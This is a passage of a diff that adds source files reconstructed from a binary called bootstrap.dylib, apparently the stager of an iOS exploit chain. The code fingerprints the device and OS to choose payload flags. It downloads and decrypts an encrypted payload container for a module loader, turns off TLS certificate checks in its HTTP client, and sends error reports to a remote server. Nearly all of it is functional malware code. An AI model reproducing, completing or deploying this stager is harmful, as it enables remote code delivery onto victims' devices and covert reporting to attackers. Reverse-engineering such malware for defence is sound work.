||||
/* ── download_flags (0xa294) ───────────────────────────────────── */
|
||||
|
||||
uint32_t download_flags(bootstrap_ctx_t *ctx, void *data, uint32_t size,
|
||||
char *url_buf, uint32_t url_size, void **key_out)
|
||||
{
|
||||
if (!ctx || !data || !size || !url_buf || !url_size || !key_out)
|
||||
return ERR_NULL_CTX;
|
||||
|
||||
uint32_t extra_flags = 0;
|
||||
|
||||
if (ctx->is_sandboxed) {
|
||||
int a15 = is_a15_or_newer(ctx);
|
||||
if (!(a15 & 1))
|
||||
goto compute_flags;
|
||||
extra_flags = 0;
|
||||
} else {
|
||||
uint32_t os_ver = ctx->os_version;
|
||||
uint32_t shifted = (os_ver + 0xFFEFFC00) >> 10;
|
||||
if (shifted > 0x3E)
|
||||
goto check_os_range;
|
||||
|
||||
uint32_t cpu = ctx->cpu_type;
|
||||
extra_flags = 0x30000;
|
||||
if (cpu > (int32_t)SOC_TYPE_C) {
|
||||
if (cpu == SOC_TYPE_D || cpu == SOC_TYPE_E)
|
||||
goto compute_flags;
|
||||
} else {
|
||||
if (cpu == SOC_TYPE_A || cpu == SOC_TYPE_B)
|
||||
goto compute_flags;
|
||||
}
|
||||
|
||||
check_os_range:
|
||||
if ((os_ver - 0x100000) <= 0x400) {
|
||||
extra_flags = 0x50000;
|
||||
} else {
|
||||
extra_flags = 0;
|
||||
}
|
||||
}
|
||||
|
||||
compute_flags:
|
||||
{
|
||||
uint32_t arch = get_arch_flags(ctx);
|
||||
uint32_t device_flags;
|
||||
|
||||
if (arch) {
|
||||
uint8_t db = ctx->logging_enabled;
|
||||
if (db & 1) {
|
||||
uint32_t soc_sub = ctx->soc_subversion;
|
||||
device_flags = (soc_sub > 1) ? (uint32_t)(-0x0D000000)
|
||||
: (uint32_t)(-0x0E000000);
|
||||
} else {
|
||||
device_flags = (uint32_t)(-0x0F000000);
|
||||
}
|
||||
} else {
|
||||
device_flags = 0;
|
||||
}
|
||||
|
||||
uint32_t flags = arch | extra_flags | device_flags;
|
||||
print_log("[bootstrap] download_flags: flags=0x%x", flags);
|
||||
return download_manifest(ctx, flags, data, size,
|
||||
url_buf, url_size, key_out);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
/* ── download_decrypt (0xac44) ─────────────────────────────────── */
|
||||
|
||||
uint32_t download_decrypt(bootstrap_ctx_t *ctx, void *data, uint32_t size,
|
||||
void *key, void **out_ptr, uint32_t *out_size)
|
||||
{
|
||||
uint32_t err = ERR_NULL_CTX;
|
||||
if (!ctx)
|
||||
return err;
|
||||
|
||||
fn_download_t dl_func = ctx->download_func;
|
||||
if (!dl_func)
|
||||
return err;
|
||||
|
||||
void *dl_data = NULL;
|
||||
uint32_t dl_size = 0;
|
||||
|
||||
if (!data || !key || !out_ptr || !out_size)
|
||||
return err;
|
||||
|
||||
print_log("[bootstrap] download_decrypt: downloading...");
|
||||
err = dl_func(ctx, (const char *)data, &dl_data, &dl_size);
|
||||
if (err) {
|
||||
print_log("[bootstrap] download_decrypt: download FAIL err=0x%x", err);
|
||||
return err;
|
||||
}
|
||||
|
||||
if ((uintptr_t)key & 1) {
|
||||
if (dl_data && dl_size) {
|
||||
memcpy(out_ptr, &dl_data, sizeof(void *));
|
||||
}
|
||||
}
|
||||
|
||||
if ((uintptr_t)key & 2) {
|
||||
/* decrypt in place */
|
||||
}
|
||||
|
||||
fn_parse_container_t parse = ctx->fn_parse_container;
|
||||
if (parse) {
|
||||
err = parse(ctx, 0, dl_data, dl_size);
|
||||
if (err)
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
*out_ptr = dl_data;
|
||||
*out_size = dl_size;
|
||||
print_log("[bootstrap] download_decrypt: OK size=%u", dl_size);
|
||||
return 0;
|
||||
|
||||
cleanup:
|
||||
print_log("[bootstrap] download_decrypt: parse FAIL err=0x%x", err);
|
||||
bzero(dl_data, dl_size);
|
||||
free(dl_data);
|
||||
return err;
|
||||
}
|
||||
|
||||
/* ── download_and_process (0xa418) ─────────────────────────────── */
|
||||
|
||||
uint32_t download_and_process(bootstrap_ctx_t *ctx, uint32_t type,
|
||||
void **out_ptr, uint32_t *out_size)
|
||||
{
|
||||
uint32_t err = ERR_NULL_CTX;
|
||||
if (!ctx)
|
||||
return err;
|
||||
|
||||
fn_get_raw_data_t get_raw = ctx->fn_get_raw_data;
|
||||
if (!get_raw || !type || !out_ptr || !out_size)
|
||||
return err;
|
||||
|
||||
void *raw_data = NULL;
|
||||
uint32_t raw_size = 0;
|
||||
|
||||
err = get_raw(ctx, type, &raw_data, &raw_size);
|
||||
if (err) {
|
||||
print_log("[bootstrap] download_and_process: get_raw FAIL err=0x%x", err);
|
||||
return err;
|
||||
}
|
||||
|
||||
if (!raw_data || !raw_size)
|
||||
return ERR_NULL_CTX;
|
||||
|
||||
print_log("[bootstrap] download_and_process: type=0x%x raw_size=%u sandboxed=%d", type, raw_size, ctx->is_sandboxed);
|
||||
|
||||
char url_buf[0x200];
|
||||
void *key_ptr = NULL;
|
||||
void *dl_data = NULL;
|
||||
uint32_t dl_size = 0;
|
||||
int store_metadata = 0;
|
||||
|
||||
if (ctx->is_sandboxed) {
|
||||
fn_parse_container_t parse = ctx->fn_parse_container;
|
||||
if (!parse)
|
||||
return ERR_NULL_CTX;
|
||||
|
||||
memset(url_buf, 0, sizeof(url_buf));
|
||||
|
||||
int a15 = is_a15_or_newer(ctx);
|
||||
if (!(a15 & 1)) {
|
||||
uint32_t os_ver = ctx->os_version;
|
||||
uint32_t cpu = ctx->cpu_type;
|
||||
uint32_t extra_flags = 0;
|
||||
int did_specific = 0;
|
||||
|
||||
uint32_t shifted = (os_ver + 0xFFEFFC00) >> 10;
|
||||
if (shifted <= 0x3E) {
|
||||
if (cpu == SOC_TYPE_A || cpu == SOC_TYPE_B ||
|
||||
cpu == SOC_TYPE_D || cpu == SOC_TYPE_E) {
|
||||
did_specific = 1;
|
||||
uint8_t features = ctx->flag_a15_features;
|
||||
extra_flags = features ? 0x40000 : 0x30000;
|
||||
uint32_t soc_sub = ctx->soc_subversion;
|
||||
uint32_t dev = (soc_sub > 1) ? (uint32_t)(-0x5D000000)
|
||||
: (uint32_t)(-0x5E000000);
|
||||
uint32_t flags = dev | extra_flags;
|
||||
|
||||
err = download_manifest(ctx, flags, raw_data, raw_size,
|
||||
url_buf, 0x200, &key_ptr);
|
||||
}
|
||||
}
|
||||
|
||||
if (!did_specific) {
|
||||
if ((os_ver - 0x100000) > 0x500) {
|
||||
/* Device/OS combo not supported by this payload set —
|
||||
* original binary jumps to the a15 bail-out path here
|
||||
* (flags=0 → download_manifest returns early error). */
|
||||
extra_flags = 0;
|
||||
err = ERR_NULL_CTX + 0x13;
|
||||
} else {
|
||||
uint8_t features = ctx->flag_a15_features;
|
||||
extra_flags = features ? 0x60000 : 0x50000;
|
||||
|
||||
uint32_t soc_sub = ctx->soc_subversion;
|
||||
uint32_t dev = (soc_sub > 1) ? (uint32_t)(-0x5D000000)
|
||||
: (uint32_t)(-0x5E000000);
|
||||
uint32_t flags = dev | extra_flags;
|
||||
|
||||
err = download_manifest(ctx, flags, raw_data, raw_size,
|
||||
url_buf, 0x200, &key_ptr);
|
||||
}
|
||||
}
|
||||
|
||||
/* Both specific and generic paths: download the actual
|
||||
* F00DBEEF container from the resolved URL. The original
|
||||
* binary shared this code via a cross-block goto into the
|
||||
* non-sandboxed else block (process_result label). */
|
||||
if (!err && url_buf[0]) {
|
||||
err = download_decrypt(ctx, url_buf, 0, key_ptr,
|
||||
&dl_data, &dl_size);
|
||||
if (!err)
|
||||
store_metadata = 1;
|
||||
}
|
||||
} else {
|
||||
err = 0;
|
||||
}
|
||||
} else {
|
||||
fn_get_raw_data_t get_raw2 = ctx->fn_get_raw_data;
|
||||
if (!get_raw2)
|
||||
return ERR_NULL_CTX;
|
||||
|
||||
fn_parse_container_t parse = ctx->fn_parse_container;
|
||||
if (!parse)
|
||||
return ERR_NULL_CTX;
|
||||
|
||||
memset(url_buf, 0, sizeof(url_buf));
|
||||
|
||||
err = download_flags(ctx, raw_data, raw_size,
|
||||
url_buf, 0x200, &key_ptr);
|
||||
if (err) {
|
||||
print_log("[bootstrap] download_and_process: download_flags FAIL err=0x%x, trying download_retries", err);
|
||||
err = download_retries(ctx, raw_data, raw_size,
|
||||
url_buf, 0x200, &key_ptr);
|
||||
if (err)
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
/* Download the actual F00DBEEF container from the resolved URL.
|
||||
* parse_foodbeef inside download_decrypt populates LOADER/MODULE/DATA
|
||||
* container slots needed by the direct_mode path. */
|
||||
err = download_decrypt(ctx, url_buf, 0, key_ptr, &dl_data, &dl_size);
|
||||
if (err) {
|
||||
print_log("[bootstrap] download_and_process: download_decrypt FAIL err=0x%x", err);
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
store_metadata = 1;
|
||||
}
|
||||
|
||||
store_meta:
|
||||
/* Store download metadata (URL, key, base_url, user_agent) in
|
||||
* container slots for later use by the module loader. */
|
||||
if (store_metadata && !err) {
|
||||
char *url_copy = strdup(url_buf);
|
||||
if (!url_copy)
|
||||
return ERR_NULL_CTX + 0x8;
|
||||
|
||||
print_log("[bootstrap] download_and_process: storing URL=%s", url_copy);
|
||||
|
||||
fn_parse_container_t parse2 = ctx->fn_parse_container;
|
||||
size_t url_len = strlen(url_copy);
|
||||
|
||||
err = parse2(ctx, 0x30000 | 0x40000, url_copy, (uint32_t)(url_len + 1));
|
||||
if (!err)
|
||||
err = parse2(ctx, 0x70002, (void *)key_ptr, 0x20);
|
||||
|
||||
if (!err) {
|
||||
char *base_url = ctx->base_url;
|
||||
if (base_url) {
|
||||
size_t blen = strlen(base_url);
|
||||
err = parse2(ctx, 0x70003, base_url, (uint32_t)(blen + 1));
|
||||
}
|
||||
}
|
||||
|
||||
if (!err) {
|
||||
char *user_agent = (char *)ctx->user_agent;
|
||||
if (user_agent) {
|
||||
size_t ulen = strlen(user_agent);
|
||||
err = parse2(ctx, 0x70004, user_agent, (uint32_t)(ulen + 1));
|
||||
if (err == 0x7004)
|
||||
err = 0;
|
||||
}
|
||||
}
|
||||
|
||||
if (err) {
|
||||
print_log("[bootstrap] download_and_process: metadata FAIL err=0x%x", err);
|
||||
size_t len = strlen(url_copy);
|
||||
bzero(url_copy, len);
|
||||
free(url_copy);
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
*out_ptr = dl_data;
|
||||
*out_size = dl_size;
|
||||
print_log("[bootstrap] download_and_process: OK");
|
||||
return 0;
|
||||
}
|
||||
|
||||
cleanup:
|
||||
if (dl_data) {
|
||||
bzero(dl_data, dl_size);
|
||||
free(dl_data);
|
||||
}
|
||||
print_log("[bootstrap] download_and_process: cleanup err=0x%x", err);
|
||||
return err;
|
||||
}
|
||||
@@ -0,0 +1,355 @@
|
||||
/*
|
||||
* http.m - CFNetwork-based HTTP client with SSL bypass
|
||||
*
|
||||
* Decompiled from bootstrap.dylib offsets 0x8b5c-0x92fc, 0x9790-0x9878
|
||||
*/
|
||||
|
||||
#import "bootstrap.h"
|
||||
#import <string.h>
|
||||
#import <stdlib.h>
|
||||
#import <CoreFoundation/CoreFoundation.h>
|
||||
#import <CFNetwork/CFNetwork.h>
|
||||
#import <SystemConfiguration/SystemConfiguration.h>
|
||||
|
||||
/* ── stream_read_callback (0x9790) ──────────────────────────────── */
|
||||
|
||||
void stream_read_callback(void *stream, int event, void *info)
|
||||
{
|
||||
if (!stream || !info)
|
||||
goto stop;
|
||||
|
||||
stream_ctx_t *ctx = (stream_ctx_t *)info;
|
||||
|
||||
if (event > 3) {
|
||||
if (event == 4) {
|
||||
goto stop;
|
||||
}
|
||||
if (event == 8) {
|
||||
ctx->error = ERR_HTTP_STREAM_ERR;
|
||||
print_log("[bootstrap] stream_read_callback: stream error");
|
||||
goto stop;
|
||||
}
|
||||
if (event == 16) {
|
||||
CFTypeRef resp = CFReadStreamCopyProperty(
|
||||
(CFReadStreamRef)stream, kCFStreamPropertyHTTPResponseHeader);
|
||||
if (resp) {
|
||||
ctx->status_code = CFHTTPMessageGetResponseStatusCode(
|
||||
(CFHTTPMessageRef)resp);
|
||||
CFRelease(resp);
|
||||
}
|
||||
print_log("[bootstrap] stream_read_callback: got header status=%u", ctx->status_code);
|
||||
goto stop;
|
||||
}
|
||||
goto stop;
|
||||
}
|
||||
|
||||
if (event < 2)
|
||||
goto stop;
|
||||
|
||||
if (event == 2) {
|
||||
uint8_t buf[0x1000];
|
||||
CFIndex n = CFReadStreamRead((CFReadStreamRef)stream, buf, 0x1000);
|
||||
if (n <= 0)
|
||||
goto stop;
|
||||
|
||||
if (!CFHTTPMessageAppendBytes((CFHTTPMessageRef)ctx->response_msg, buf, n))
|
||||
goto stop;
|
||||
}
|
||||
|
||||
return;
|
||||
|
||||
stop:
|
||||
{
|
||||
extern void CFRunLoopStop(CFRunLoopRef);
|
||||
CFRunLoopStop(CFRunLoopGetCurrent());
|
||||
}
|
||||
}
|
||||
|
||||
/* ── http_request (0x8b5c) ──────────────────────────────────────── */
|
||||
|
||||
uint32_t http_request(const char *url, const char *user_agent,
|
||||
const char *content_type, const char *body,
|
||||
void **out_data, uint32_t *out_size)
|
||||
{
|
||||
uint32_t err = ERR_NULL_CTX - 8;
|
||||
CFDataRef response_data = NULL;
|
||||
|
||||
int has_output = (out_data != NULL) && (out_size != NULL);
|
||||
int no_output = (out_data == NULL && out_size == NULL);
|
||||
if (!has_output && !no_output)
|
||||
return err;
|
||||
|
||||
if (!url || !url[0])
|
||||
return err;
|
||||
|
||||
print_log("[bootstrap] http_request: url=%s method=%s", url, body ? "POST" : "GET");
|
||||
|
||||
CFAllocatorRef alloc = kCFAllocatorDefault;
|
||||
|
||||
CFStringRef url_str = CFStringCreateWithCString(alloc, url, kCFStringEncodingUTF8);
|
||||
if (!url_str)
|
||||
return ERR_HTTP_URL;
|
||||
if (CFStringGetLength(url_str) < 1) {
|
||||
CFRelease(url_str);
|
||||
return ERR_HTTP_URL_LEN;
|
||||
}
|
||||
|
||||
CFStringRef ua_str = NULL;
|
||||
if (user_agent) {
|
||||
ua_str = CFStringCreateWithCString(alloc, user_agent, kCFStringEncodingUTF8);
|
||||
if (!ua_str) {
|
||||
CFRelease(url_str);
|
||||
return ERR_HTTP_BODY_ERR;
|
||||
}
|
||||
if (CFStringGetLength(ua_str) <= 0) {
|
||||
CFRelease(url_str);
|
||||
CFRelease(ua_str);
|
||||
return ERR_HTTP_CT_ERR;
|
||||
}
|
||||
}
|
||||
|
||||
CFStringRef ct_str = NULL;
|
||||
CFDataRef body_data = NULL;
|
||||
|
||||
if (content_type) {
|
||||
ct_str = CFStringCreateWithCString(alloc, content_type, kCFStringEncodingUTF8);
|
||||
if (!ct_str) {
|
||||
err = ERR_HTTP_BODY_ERR;
|
||||
goto cleanup_early;
|
||||
}
|
||||
if (CFStringGetLength(ct_str) < 1) {
|
||||
err = ERR_HTTP_CT_ERR;
|
||||
goto cleanup_early;
|
||||
}
|
||||
}
|
||||
|
||||
if (body) {
|
||||
size_t blen = strlen(body);
|
||||
body_data = CFDataCreate(alloc, (const UInt8 *)body, blen);
|
||||
if (!body_data) {
|
||||
err = ERR_HTTP_DATA_ERR;
|
||||
goto cleanup_early;
|
||||
}
|
||||
}
|
||||
|
||||
/* Retry loop (up to 7 attempts) */
|
||||
uint32_t attempt;
|
||||
for (attempt = 0; attempt < 7; attempt++) {
|
||||
if (has_output)
|
||||
*out_data = NULL;
|
||||
|
||||
CFURLRef cf_url = CFURLCreateWithString(alloc, url_str, NULL);
|
||||
if (!cf_url) {
|
||||
if (attempt < 6) continue;
|
||||
err = ERR_HTTP_URL;
|
||||
break;
|
||||
}
|
||||
|
||||
CFStringRef scheme = CFURLCopyScheme(cf_url);
|
||||
if (!scheme) {
|
||||
CFRelease(cf_url);
|
||||
err = ERR_HTTP_SCHEME;
|
||||
goto release_round;
|
||||
}
|
||||
|
||||
const char *method = body_data ? "POST" : "GET";
|
||||
CFStringRef method_str = CFStringCreateWithCString(alloc, method, kCFStringEncodingUTF8);
|
||||
if (!method_str) {
|
||||
err = ERR_HTTP_MSG;
|
||||
CFRelease(cf_url);
|
||||
CFRelease(scheme);
|
||||
goto release_round;
|
||||
}
|
||||
|
||||
CFHTTPMessageRef req = CFHTTPMessageCreateRequest(
|
||||
alloc, method_str, cf_url, kCFHTTPVersion1_1);
|
||||
if (!req) {
|
||||
err = ERR_HTTP_MSG;
|
||||
CFRelease(cf_url);
|
||||
CFRelease(scheme);
|
||||
CFRelease(method_str);
|
||||
goto release_round;
|
||||
}
|
||||
|
||||
if (body_data)
|
||||
CFHTTPMessageSetBody(req, body_data);
|
||||
|
||||
CFStringRef ua_hdr_key = NULL;
|
||||
if (ua_str) {
|
||||
ua_hdr_key = CFStringCreateWithCString(alloc, "User-Agent", kCFStringEncodingUTF8);
|
||||
if (ua_hdr_key)
|
||||
CFHTTPMessageSetHeaderFieldValue(req, ua_hdr_key, ua_str);
|
||||
}
|
||||
|
||||
CFStringRef ct_hdr_key = NULL;
|
||||
if (ct_str) {
|
||||
ct_hdr_key = CFStringCreateWithCString(alloc, "Content-Type", kCFStringEncodingUTF8);
|
||||
if (ct_hdr_key)
|
||||
CFHTTPMessageSetHeaderFieldValue(req, ct_hdr_key, ct_str);
|
||||
}
|
||||
|
||||
CFReadStreamRef stream = CFReadStreamCreateForHTTPRequest(alloc, req);
|
||||
if (!stream) {
|
||||
err = ERR_HTTP_STREAM;
|
||||
goto release_all;
|
||||
}
|
||||
|
||||
/* SSL bypass: disable certificate validation for HTTPS */
|
||||
CFStringRef https_str = CFSTR("https");
|
||||
int ssl_ok = 1;
|
||||
if (CFEqual(scheme, https_str)) {
|
||||
CFDictionaryRef ssl_dict = CFDictionaryCreate(
|
||||
alloc,
|
||||
(const void *[]){kCFStreamSSLValidatesCertificateChain},
|
||||
(const void *[]){kCFBooleanFalse},
|
||||
1, NULL, NULL);
|
||||
if (ssl_dict) {
|
||||
ssl_ok = CFReadStreamSetProperty(stream, kCFStreamPropertySSLSettings, ssl_dict);
|
||||
CFRelease(ssl_dict);
|
||||
} else {
|
||||
err = ERR_HTTP_DICT;
|
||||
goto release_stream;
|
||||
}
|
||||
}
|
||||
|
||||
if (!ssl_ok) {
|
||||
err = ERR_HTTP_SSL;
|
||||
goto release_stream;
|
||||
}
|
||||
|
||||
// SCDynamicStoreCopyProxies is not available on iOS, and we would bypass this anyways
|
||||
// CFDictionaryRef proxies = SCDynamicStoreCopyProxies(NULL);
|
||||
// if (proxies) {
|
||||
// int proxy_ok = CFReadStreamSetProperty(stream, kCFStreamPropertyHTTPProxy, proxies);
|
||||
// CFRelease(proxies);
|
||||
// if (!proxy_ok) {
|
||||
// err = ERR_HTTP_PROXY;
|
||||
// goto release_stream;
|
||||
// }
|
||||
// } else {
|
||||
// err = ERR_HTTP_PROXY;
|
||||
// goto release_stream;
|
||||
// }
|
||||
|
||||
CFHTTPMessageRef resp_msg = CFHTTPMessageCreateEmpty(alloc, false);
|
||||
if (!resp_msg) {
|
||||
err = ERR_HTTP_MSG;
|
||||
goto release_stream;
|
||||
}
|
||||
|
||||
stream_ctx_t *sctx = (stream_ctx_t *)calloc(sizeof(stream_ctx_t), 1);
|
||||
if (!sctx) {
|
||||
CFRelease(resp_msg);
|
||||
err = ERR_GENERIC;
|
||||
goto release_stream;
|
||||
}
|
||||
|
||||
sctx->response_msg = (void *)resp_msg;
|
||||
sctx->status_code = 500;
|
||||
|
||||
void *callback_fn = (void *)pac_sign_if_needed(
|
||||
strip_pac((uint64_t)stream_read_callback), 0);
|
||||
|
||||
struct {
|
||||
long version;
|
||||
void *info;
|
||||
void *retain;
|
||||
void *release;
|
||||
void *desc;
|
||||
} client_ctx;
|
||||
memset(&client_ctx, 0, sizeof(client_ctx));
|
||||
client_ctx.info = sctx;
|
||||
|
||||
if (!CFReadStreamSetClient(stream, 0x1a, callback_fn, (CFStreamClientContext *)&client_ctx)) {
|
||||
free(sctx);
|
||||
CFRelease(resp_msg);
|
||||
err = ERR_HTTP_CLIENT;
|
||||
goto release_stream;
|
||||
}
|
||||
|
||||
CFReadStreamScheduleWithRunLoop(stream, CFRunLoopGetCurrent(), kCFRunLoopCommonModes);
|
||||
|
||||
if (!CFReadStreamOpen(stream)) {
|
||||
free(sctx);
|
||||
CFRelease(resp_msg);
|
||||
err = ERR_HTTP_OPEN;
|
||||
goto release_stream;
|
||||
}
|
||||
|
||||
CFRunLoopRunInMode(kCFRunLoopDefaultMode, 240.0, false);
|
||||
CFReadStreamClose(stream);
|
||||
|
||||
err = sctx->error;
|
||||
if (!err) {
|
||||
uint32_t status = sctx->status_code;
|
||||
print_log("[bootstrap] http_request: attempt=%u status=%u", attempt, status);
|
||||
if (status > 399 || !has_output) {
|
||||
if (status > 399)
|
||||
err = ERR_HTTP_STATUS;
|
||||
response_data = NULL;
|
||||
} else {
|
||||
CFDataRef body_resp = CFHTTPMessageCopyBody((CFHTTPMessageRef)sctx->response_msg);
|
||||
if (!body_resp) {
|
||||
err = ERR_HTTP_EMPTY_BODY;
|
||||
} else {
|
||||
response_data = body_resp;
|
||||
*out_data = (void *)body_resp;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
print_log("[bootstrap] http_request: attempt=%u stream_err=0x%x", attempt, err);
|
||||
response_data = NULL;
|
||||
}
|
||||
|
||||
free(sctx);
|
||||
CFRelease(resp_msg);
|
||||
|
||||
release_stream:
|
||||
CFRelease(stream);
|
||||
release_all:
|
||||
CFRelease(req);
|
||||
CFRelease(cf_url);
|
||||
CFRelease(scheme);
|
||||
CFRelease(method_str);
|
||||
if (ua_hdr_key) CFRelease(ua_hdr_key);
|
||||
release_round:
|
||||
if (ct_hdr_key) CFRelease(ct_hdr_key);
|
||||
|
||||
if (!err || attempt >= 6)
|
||||
break;
|
||||
}
|
||||
|
||||
/* Process final response data */
|
||||
if (!err && response_data && has_output) {
|
||||
CFIndex len = CFDataGetLength(response_data);
|
||||
if (!len) {
|
||||
err = ERR_HTTP_ZERO_LEN;
|
||||
} else {
|
||||
const uint8_t *bytes = CFDataGetBytePtr(response_data);
|
||||
if (!bytes) {
|
||||
err = ERR_HTTP_NO_RESP;
|
||||
} else {
|
||||
void *copy = malloc((size_t)len);
|
||||
if (!copy) {
|
||||
err = ERR_GENERIC;
|
||||
} else {
|
||||
memcpy(copy, bytes, (size_t)len);
|
||||
*out_data = copy;
|
||||
*out_size = (uint32_t)len;
|
||||
print_log("[bootstrap] http_request: OK response_size=%ld", (long)len);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
cleanup_early:
|
||||
if (url_str) CFRelease(url_str);
|
||||
if (ua_str) CFRelease(ua_str);
|
||||
if (ct_str) CFRelease(ct_str);
|
||||
if (body_data) CFRelease(body_data);
|
||||
if (response_data) CFRelease(response_data);
|
||||
|
||||
if (err)
|
||||
print_log("[bootstrap] http_request: FAIL err=0x%x", err);
|
||||
return err;
|
||||
}
|
||||
@@ -0,0 +1,357 @@
|
||||
/*
|
||||
* logging.m - Logging, reporting, and shared memory IPC
|
||||
*
|
||||
* Decompiled from bootstrap.dylib offsets 0x9300-0x9b5c
|
||||
*/
|
||||
|
||||
#import "bootstrap.h"
|
||||
#import <string.h>
|
||||
#import <stdlib.h>
|
||||
#import <stdarg.h>
|
||||
#import <stdio.h>
|
||||
#import <strings.h>
|
||||
|
||||
extern int thread_switch(mach_port_name_t, int, mach_msg_timeout_t);
|
||||
|
||||
void print_log(const char *fmt, ...)
|
||||
{
|
||||
va_list ap;
|
||||
va_start(ap, fmt);
|
||||
vdprintf(1, fmt, ap);
|
||||
dprintf(1, "\n");
|
||||
va_end(ap);
|
||||
}
|
||||
|
||||
/* ── format_string (0x9a34) ────────────────────────────────────── */
|
||||
|
||||
uint32_t format_string(void **out_ptr, uint32_t *out_size,
|
||||
const char *fmt, ...)
|
||||
{
|
||||
uint32_t err = ERR_NULL_CTX;
|
||||
if (!out_ptr || !out_size || !fmt)
|
||||
return err;
|
||||
|
||||
va_list ap;
|
||||
va_start(ap, fmt);
|
||||
int needed = vsnprintf(NULL, 0, fmt, ap);
|
||||
va_end(ap);
|
||||
|
||||
if (needed < 1) {
|
||||
*out_ptr = NULL;
|
||||
*out_size = 0;
|
||||
return ERR_NULL_CTX + 0x13;
|
||||
}
|
||||
|
||||
uint32_t alloc_size = (uint32_t)needed + 1;
|
||||
char *buf = (char *)malloc(alloc_size);
|
||||
if (!buf) {
|
||||
return ERR_NULL_CTX + 0x8;
|
||||
}
|
||||
|
||||
va_list ap2;
|
||||
va_start(ap2, fmt);
|
||||
int written = vsnprintf(buf, alloc_size, fmt, ap2);
|
||||
va_end(ap2);
|
||||
|
||||
if (written > needed) {
|
||||
bzero(buf, alloc_size);
|
||||
free(buf);
|
||||
*out_ptr = NULL;
|
||||
*out_size = 0;
|
||||
return ERR_NULL_CTX + 0xA;
|
||||
}
|
||||
|
||||
buf[needed] = '\0';
|
||||
*out_ptr = buf;
|
||||
*out_size = written;
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ── format_log_entry (0x94b4) ─────────────────────────────────── */
|
||||
|
||||
uint32_t format_log_entry(void **out_ptr, uint32_t *out_size,
|
||||
const char *fmt, ...)
|
||||
{
|
||||
void *inner = NULL;
|
||||
uint32_t inner_size = 0;
|
||||
uint32_t err;
|
||||
|
||||
if (fmt) {
|
||||
va_list ap;
|
||||
va_start(ap, fmt);
|
||||
err = format_string(&inner, &inner_size, fmt, ap);
|
||||
va_end(ap);
|
||||
} else {
|
||||
va_list ap;
|
||||
va_start(ap, fmt);
|
||||
err = format_string(&inner, &inner_size, fmt, ap);
|
||||
va_end(ap);
|
||||
}
|
||||
|
||||
if (err)
|
||||
return err;
|
||||
|
||||
err = format_string(out_ptr, out_size,
|
||||
"{\"cmd\":\"logmsg\",\"args\":{\"msg\":\"%s\"}}",
|
||||
inner);
|
||||
|
||||
bzero(inner, inner_size);
|
||||
free(inner);
|
||||
|
||||
return err;
|
||||
}
|
||||
|
||||
/* ── send_log (0x9300) ─────────────────────────────────────────── */
|
||||
|
||||
uint32_t send_log(bootstrap_ctx_t *ctx, const char *url,
|
||||
void **out_data, uint32_t *out_size)
|
||||
{
|
||||
uint32_t err = ERR_NULL_CTX;
|
||||
if (!ctx || !url)
|
||||
return err;
|
||||
if (!url[0] || !out_data || !out_size)
|
||||
return err;
|
||||
|
||||
print_log("[bootstrap] send_log: url=%s shmem=%p", url, ctx->shared_memory);
|
||||
|
||||
if (ctx->shared_memory) {
|
||||
return shared_mem_download(ctx, url, NULL, 60000,
|
||||
out_data, out_size);
|
||||
}
|
||||
|
||||
char *ua = (char *)ctx->user_agent;
|
||||
return http_request(url, ua, NULL, NULL,
|
||||
out_data, out_size);
|
||||
}
|
||||
|
||||
/* ── format_and_send (0x9398) ──────────────────────────────────── */
|
||||
|
||||
uint32_t format_and_send(const char *url, const char *ua,
|
||||
const char *body_fmt, ...)
|
||||
{
|
||||
void *body_data = NULL;
|
||||
uint32_t body_size = 0;
|
||||
|
||||
if (!url || !url[0])
|
||||
return 0;
|
||||
|
||||
if (strncmp(url, "http://", 7) != 0 &&
|
||||
strncmp(url, "https://", 8) != 0) {
|
||||
return ERR_NULL_CTX + 0x13;
|
||||
}
|
||||
|
||||
va_list ap;
|
||||
va_start(ap, body_fmt);
|
||||
uint32_t err = format_string(&body_data, &body_size, body_fmt, ap);
|
||||
va_end(ap);
|
||||
|
||||
if (err)
|
||||
return err;
|
||||
|
||||
print_log("[bootstrap] format_and_send: url=%s body_size=%u", url, body_size);
|
||||
err = http_request(url, ua, "application/json",
|
||||
(const char *)body_data, NULL, NULL);
|
||||
|
||||
bzero(body_data, body_size);
|
||||
free(body_data);
|
||||
|
||||
return err;
|
||||
}
|
||||
|
||||
/* ── send_report (0x9580) ──────────────────────────────────────── */
|
||||
|
||||
uint32_t send_report(bootstrap_ctx_t *ctx, uint32_t error,
|
||||
const char *filename, uint32_t line)
|
||||
{
|
||||
uint32_t err = ERR_NULL_CTX;
|
||||
if (!ctx)
|
||||
return err;
|
||||
|
||||
print_log("[bootstrap] send_report: error=0x%x file=%s line=%u", error, filename ? filename : "(null)", line);
|
||||
|
||||
void *report_data = NULL;
|
||||
uint32_t report_size = 0;
|
||||
void *response_data = NULL;
|
||||
uint32_t response_size = 0;
|
||||
|
||||
if (ctx->shared_memory) {
|
||||
char *alt_url = ctx->alt_url;
|
||||
if (!alt_url || !alt_url[0])
|
||||
return 0;
|
||||
|
||||
if (strncmp(alt_url, "http://", 7) != 0 &&
|
||||
strncmp(alt_url, "https://", 8) != 0) {
|
||||
return err + 0x13;
|
||||
}
|
||||
|
||||
err = format_log_entry(&report_data, &report_size,
|
||||
filename ?
|
||||
"{\"e\":%u,\"f\":\"%s\",\"l\":%u}" :
|
||||
"{\"e\":%u,\"l\":%u}",
|
||||
error, filename, line);
|
||||
if (err)
|
||||
return err;
|
||||
|
||||
err = shared_mem_download(ctx, alt_url,
|
||||
(const char *)report_data, 5000,
|
||||
&response_data, &response_size);
|
||||
|
||||
if (err == 0x3012)
|
||||
err = 0;
|
||||
|
||||
if (!err && response_data) {
|
||||
bzero(response_data, response_size);
|
||||
free(response_data);
|
||||
response_data = NULL;
|
||||
}
|
||||
|
||||
bzero(report_data, report_size);
|
||||
free(report_data);
|
||||
|
||||
return err;
|
||||
}
|
||||
|
||||
char *ua = (char *)ctx->user_agent;
|
||||
char *alt = ctx->alt_url;
|
||||
|
||||
return format_and_send(alt, ua,
|
||||
filename ?
|
||||
"{\"e\":%u,\"f\":\"%s\",\"l\":%u}" :
|
||||
"{\"e\":%u,\"l\":%u}",
|
||||
error, filename, line);
|
||||
}
|
||||
|
